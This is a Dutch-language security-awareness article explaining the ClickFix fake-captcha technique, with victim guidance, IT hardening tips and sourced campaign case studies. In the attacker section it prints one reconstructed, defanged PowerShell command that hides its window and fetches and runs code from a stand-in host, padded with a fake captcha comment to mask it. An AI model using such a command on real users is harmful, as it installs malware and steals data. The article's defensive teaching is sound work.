Cyberpediadoor Brain
NLDEENESFRIT

ClickFix en valse captcha's

Een valse controle „Ik ben geen robot” laat u een opdracht plakken in Windows+R. Hoe ClickFix werkt en wat u moet doen.

In 30 seconden

Waar het gebeurt
Op webpagina's, vaak bekende sites die gehackt zijn, en in bijlagen die op een Word-document lijken.
Wat de aanvaller wil
Dat u zelf een opdracht uitvoert die een wachtwoorddief of een toegang op afstand op uw computer installeert.
De reflex
Geen enkele eerlijke controle vraagt u iets te plakken in het venster Uitvoeren, in PowerShell of in Terminal. Vraagt een pagina dat wel, sluit haar dan.
Als het al gebeurd is
Trek de netwerkkabel eruit of zet de wifi uit, laat de computer aan staan en bel meteen de IT-helpdesk.

Waar gaat het over

ClickFix is een social-engineeringtechniek waarbij het slachtoffer zelf malware installeert. Een webpagina of een bijlage toont een valse foutmelding of een valse controle „Ik ben geen robot”, gevolgd door een stappenplan: open een opdrachtvenster van Windows, plak, bevestig. De pagina heeft al een opdracht op het klembord gezet, en precies die opdracht voert het slachtoffer uit zonder haar gelezen te hebben1.

Proofpoint zag de methode al in maart 2024. De naam komt van een reeks valse updatemeldingen voor de browser, opgemerkt half april 2024, die onderzoekers ClickFix doopten2. Sinds het najaar van 2024 zetten cybercriminelen dit soort campagnes steeds vaker in, aldus de ANSSI3. Volgens ESET groeide ClickFix met meer dan 500 % tussen de tweede helft van 2024 en de eerste helft van 2025, tot het de tweede aanvalsvector werd na phishing4.

Directe vragen

Kan een echte captcha mij vragen om op Windows+R te drukken?

Nee. Een captcha lost u op in de pagina zelf: een vakje aanvinken, afbeeldingen kiezen, soms helemaal niets. Google raadt aan op uw hoede te zijn voor elke site die u vraagt de browser te verlaten om opdrachten op uw apparaat uit te voeren5.

Ik heb de opdracht geplakt, maar niet op Enter gedrukt. Ben ik besmet?

Dat hangt af van het venster. In het venster Uitvoeren gebeurt er niets zolang u niet op Enter drukt2: sluit het zonder te bevestigen. In PowerShell of in Terminal kan een geplakte tekst zichzelf uitvoeren. In de PowerShell-console plakt een enkele klik met de rechtermuisknop de opdracht en voert die uit2, en Microsoft raadt aan Terminal zo in te stellen dat het waarschuwt wanneer de geplakte tekst uit meerdere regels bestaat6. Meld het in elk geval bij de IT-helpdesk: uw computer is mogelijk getroffen, en de pagina die u om dit gebaar vroeg, blijft een val voor uw collega's.

Waarom blokkeert het antivirusprogramma de aanval niet altijd?

Omdat u de opdracht zelf uitvoert, met een hulpmiddel dat bij Windows hoort, en omdat er in het begin geen bestand is om te scannen. Volgens Proofpoint kunnen antivirusprogramma's en detectietools op werkplekken de inhoud van het klembord maar moeilijk inspecteren: de valse pagina moet dus geblokkeerd worden voordat ze verschijnt2. Microsoft stelt dat een ClickFix-campagne zo door de gebruikelijke geautomatiseerde beveiliging heen kan glippen6.

1In de huid van de aanvaller2 min

Een uitvoerbaar bestand dat per e-mail binnenkomt of van het web wordt gedownload, passeert meerdere controles voordat het kan openen. ClickFix omzeilt die door het gevaarlijke gebaar aan het slachtoffer over te laten: er is geen bestand meer, alleen een regel tekst om te plakken1.

De operatie opzetten vraagt weinig kennis. Half september 2024 publiceerde een onderzoeker op GitHub een open-sourcekit voor een valse reCAPTCHA, „for educational purposes”, en Proofpoint trof die enkele dagen later aan in kwaadaardige e-mails7. Sinds eind 2024 ziet Microsoft verkopers op hackerforums ClickFix-generatoren aanbieden, bijgenaamd „Win + R”, met pagina's die onder meer Cloudflare nabootsen. Een abonnement kost tussen 200 en 1 500 dollar per maand. Een los onderdeel, zoals de broncode, de landingspagina of de opdrachtregel, gaat voor 200 tot 500 dollar over de toonbank6.

Een klik op „verifiëren” start een script dat de opdracht op de achtergrond naar het klembord kopieert6. Die opdracht eindigt vaak met een valse bevestigingstekst, zoals „I am not a robot: CAPTCHA Verification UID”6. Proofpoint legt uit waarvoor dat valse bericht aan het eind van de opdracht dient: zodra de opdracht in het venster Uitvoeren is geplakt, ziet het slachtoffer de echte kwaadaardige opdracht niet7. Het veld van dat venster neemt niet meer dan 259 tekens aan6, en de geplakte opdracht haalt meestal alleen het vervolg van een server op. PowerShell blijft het Windows-hulpmiddel dat hiervoor het vaakst wordt gebruikt6.

Fragment
Wat de pagina op het klembord zet (nagebouwd voorbeeld, adres onschadelijk gemaakt):
powershell -w h -c "iwr hxxps://voorbeeld[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

Wat het slachtoffer in het venster Uitvoeren kan zien (illustratie): het valse bericht, niet de opdracht.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2Wat u op het scherm ziet2 min

Het typische scenario: een valse captcha verschijnt vóór de pagina die u wilde zien, vaak naar het beeld van Google reCAPTCHA of Cloudflare Turnstile6. U klikt, en de captcha geeft u instructies: open het venster Uitvoeren met de Windows-toets en R, plak met Ctrl+V en druk dan op Enter. Dat is het scenario dat de CISA en de FBI beschrijven in hun waarschuwing van mei 2025 over de gegevensdief LummaC28.

De aankleding verschilt per doelwit. In maart 2024 bevatten e-mails een bijlage die op een Word-document leek, met de melding „'Word Online' extension is not installed” en twee knoppen, „How to fix” en „Auto-fix”2. Vanaf december 2024 richtte een campagne zich op personeel in de hotelsector door Booking.com na te bootsen, met een valse captcha boven een nauwelijks zichtbare kopie van een Booking.com-pagina op de achtergrond9.

Vertrouw niet op de aankleding, die Cloudflare, Google of Booking.com getrouw kan nabootsen. Het signaal dat u moet doen stoppen, is de instructie: een webpagina vraagt u de browser te verlaten om iets in een systeemvenster te plakken. In het Brain-programma sluit dit gebaar aan bij de reflex „Herken de signalen van manipulatie in de tekst van de e-mail”. Hier is het manipulatiesignaal het stappenplan zelf, per e-mail net zo goed als op het web.

Als u de opdracht hebt bevestigd, handel dan binnen enkele minuten. Trek de netwerkkabel eruit of zet de wifi uit, maar zet de computer niet uit: in zijn fiche over ransomware wijst Cybermalveillance.gouv.fr erop dat uitschakelen het risico meebrengt dat bewijsmateriaal in het geheugen wordt gewist dat voor het onderzoek nodig is10. Bel de IT-helpdesk of het beveiligingsteam en vertel welke accounts op de computer geopend waren. LummaC2, een van de programma's die op deze manier worden geïnstalleerd, neemt financiële inloggegevens, cryptowallets, browserextensies en gegevens over tweestapsverificatie mee8: die accounts moet u als eerste beschermen. Zonder IT-afdeling biedt het platform 17cyber.gouv.fr een hulptraject aan10.

3Onder de motorkapIT-teams1 min

Het venster Uitvoeren hoort bij Windows Verkenner (explorer.exe), een onderdeel waarin het systeem vertrouwen stelt6. Elke opdracht die vanuit dat venster met succes wordt gestart, laat een spoor na in de registersleutel RunMRU, die de geschiedenis van de invoer bijhoudt. Microsoft raadt onderzoekers aan daar te zoeken naar aanroepen van powershell, mshta, rundll32, wscript, curl of wget, Windows-hulpmiddelen die code kunnen downloaden of uitvoeren6. Voor de plaats van PowerShell in aanvallen in het algemeen, zie het artikel over uitvoering via opdrachtinterpreters.

Microsoft raadt aan het venster Uitvoeren via groepsbeleid uit te schakelen voor mensen die het niet nodig hebben, het vastleggen van PowerShell-scriptblokken (script block logging) in te schakelen en de toegestane toepassingen te beperken6. Google roept bedrijven op het uitvoeren van scripts door gebruikers standaard te verbieden5. De CISA adviseert een lijst met toegestane toepassingen en aparte accounts voor beheer8.

De techniek richt zich niet langer alleen op Windows. In juni 2025 richtte een ClickFix-campagne zich op macOS-gebruikers om de gegevensdief Atomic macOS Stealer te installeren6, en ESET beschrijft ClickFix als een dreiging voor Windows, Linux en macOS4.

4IncidentanalysesEchte gevallen2 min

Maart 2024: TA571 en ClearFake

Op 1 maart 2024 stuurt TA571, een verspreider van kwaadaardige e-mails, meer dan 100 000 berichten naar duizenden organisaties met de hierboven beschreven valse Word-pagina. Naargelang de campagnes in het voorjaar installeert de opdracht DarkGate, Matanbuchus of NetSupport2. Al begin april injecteert de campagne ClearFake valse meldingen in gehackte legitieme sites. Proofpoint beschrijft daar een keten waarin één enkel PowerShell-script vijf families malware kon laten uitvoeren, waaronder de gegevensdief Lumma Stealer2.

September 2024: de valse GitHub-meldingen

Op 18 september 2024 plaatsen aanvallers opmerkingen of openen ze tickets in GitHub-repositories. De notificaties die GitHub naar ontwikkelaars stuurt, lijken op een beveiligingswaarschuwing en leiden naar een valse GitHub-site met een valse reCAPTCHA. De opdracht installeert Lumma Stealer, en Proofpoint telt ten minste 300 getroffen organisaties7.

December 2024: de hotelsector als doelwit

Microsoft volgt de campagne in de stijl van Booking.com onder de naam Storm-1865. Ze richt zich op medewerkers in de hotelsector in Noord-Amerika, Oceanië, Azië en Europa en installeert onder meer XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot en NetSupport RAT9.

2025: ook inlichtingendiensten doen mee

Google heeft LOSTKEYS geïdentificeerd, een programma dat bestanden steelt, en schrijft het toe aan de groep COLDRIVER, ook wel Callisto of Star Blizzard genoemd. LOSTKEYS, waargenomen in januari, maart en april 2025, wordt geleverd aan het eind van een keten die begint met een valse captcha: de pagina kopieert een PowerShell-opdracht en vraagt die uit te voeren vanuit het venster Uitvoeren. Tot de recente doelwitten van de groep behoren huidige of voormalige adviseurs van westerse regeringen, journalisten en ngo's5. Volgens de ANSSI zouden operators van Callisto deze techniek in september 2025 ook hebben gebruikt, in campagnes tegen leden van het maatschappelijk middenveld in Rusland en ngo's die bij Oekraïne betrokken zijn. Het agentschap geeft ook aan dat het kennis heeft gekregen van ten minste één ClickFix-campagne3.

Fiche

Identificatie
CP-011
Vleugel
1. Aanvallen en technieken
Brain-competentie
Phishing herkennen (detect_phishing)
Brain-reflex
cr-001
Schema
G1 · Aanvalsketen (Kill Chain)
Talen
de, en, es, fr, it, nl
Bronnen
10 bronnen gecontroleerd op 26 oktober 2026
Bronnen10 bronnen
  1. MITRE ATT&CK, “User Execution: Malicious Copy and Paste (T1204.004)”, 18 maart 2025. https://attack.mitre.org/techniques/T1204/004/ (geraadpleegd op 26 oktober 2026)
  2. Proofpoint, “From Clipboard to Compromise: A PowerShell Self-Pwn”, 17 juni 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (geraadpleegd op 26 oktober 2026)
  3. ANSSI, “Panorama de la cybermenace 2025”, 11 maart 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (geraadpleegd op 26 oktober 2026)
  4. ESET (WeLiveSecurity), “Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025”, 26 juni 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (geraadpleegd op 26 oktober 2026)
  5. Google Threat Intelligence Group, “COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs”, 7 mei 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (geraadpleegd op 26 oktober 2026)
  6. Microsoft Threat Intelligence, “Think before you Click(Fix): Analyzing the ClickFix social engineering technique”, 21 augustus 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (geraadpleegd op 26 oktober 2026)
  7. Proofpoint, “Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape”, 18 november 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (geraadpleegd op 26 oktober 2026)
  8. CISA et FBI, “Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations”, 21 mei 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (geraadpleegd op 26 oktober 2026)
  9. Microsoft Threat Intelligence, “Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware”, 13 maart 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (geraadpleegd op 26 oktober 2026)
  10. Cybermalveillance.gouv.fr, “Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?”, 3 juni 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (geraadpleegd op 26 oktober 2026)

Dit artikel citeren

Brain, “ClickFix en valse captcha's”, Cyberpedia, 2026. https://startbrain.io/cyberpedia/nl/articles/clickfix-valse-captchas/

BibTeX 
@misc{brain_cp011_nl_2026,
  author = {Brain},
  title = {ClickFix en valse captcha's},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/nl/articles/clickfix-valse-captchas/},
  note = {CC BY 4.0}
}
Licentie CC BY 4.0